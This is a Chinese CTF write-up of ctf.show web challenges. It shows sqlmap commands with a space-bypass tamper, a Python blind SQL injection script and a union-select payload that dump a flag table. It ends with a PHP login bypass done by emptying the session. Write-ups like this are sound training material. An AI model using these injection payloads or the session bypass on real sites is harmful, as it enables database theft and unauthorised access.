进入目录
可以发觉到本题考察的是sql盲注
尝试注入
经过测试,可以发现本题过滤了空格,在这里可以使用/**/
进行代替
又是空格绕过,之前刚做过的在CTFHUB上空格绕过题,具体详细就不再细说
直接操作吧
爆数据库
python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" --dbs --tamper "space2comment.py"
爆表
python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" -D "web7" --tables --tamper "space2comment.py"
爆数据库字段
python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" -D "web7" -T "flag" --dump --tamper "space2comment.py"
ctfshow{62701446-623d-4d24-8558-285fdd7289ad}
当然我去学习大佬们的文章,发现大佬们也有使用脚本的,让我们看看
import requests
url = "https://7785f4a8-dd2f-4a53-acb5-61d19f2c5c57.chall.ctf.show/index.php?id=-1'/**/"
def db(url): # 爆库名
for i in range(1, 5):
for j in range(32, 128):
u = "or/**/ascii(substr(database()/**/from/**/" + str(i) + "/**/for/**/1))=" + str(j) + "#"
s = url + u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))
def table(url): # 爆表名
for i in range(4):
table_name = ''
for j in range(1, 6):
for k in range(48, 128):
u = id = "||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/" + str(
i) + ")/**/from/**/" + str(j) + "/**/for/**/1))=" + str(k) + "#"
s = url + u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name += chr(k)
print(table_name)
db(url);
table(url);
一共有三个表,尝试猜测为flag下的flag字段
数据库结构进行搜索
/index.php?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag#
哇,代码审计无疑了!!
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
对源码分析,可以看到需要让输入框的内容等于 $_SESSION
的值就好了
if($password==$_SESSION['password']){
echo $flag;
那么session是什么嘞,百度百科一下吧
具体了解cook和session
但是session我们不知道是什么那,没关系我们只需要使SESSION的值为空就好了,在火狐浏览器中,F12进入开发者模式,session一般是保存在存储中的找到后清空
在这里我们先使用bp进行抓包看看
可以看到这里的密码是1234567,至于session是
因此我们只需要将PHPsession
与password
的值都清空就可以了
让我们在火狐中F12进入存储直接修改session试试
清空后将密码内容删除直接登录
也是可以的啊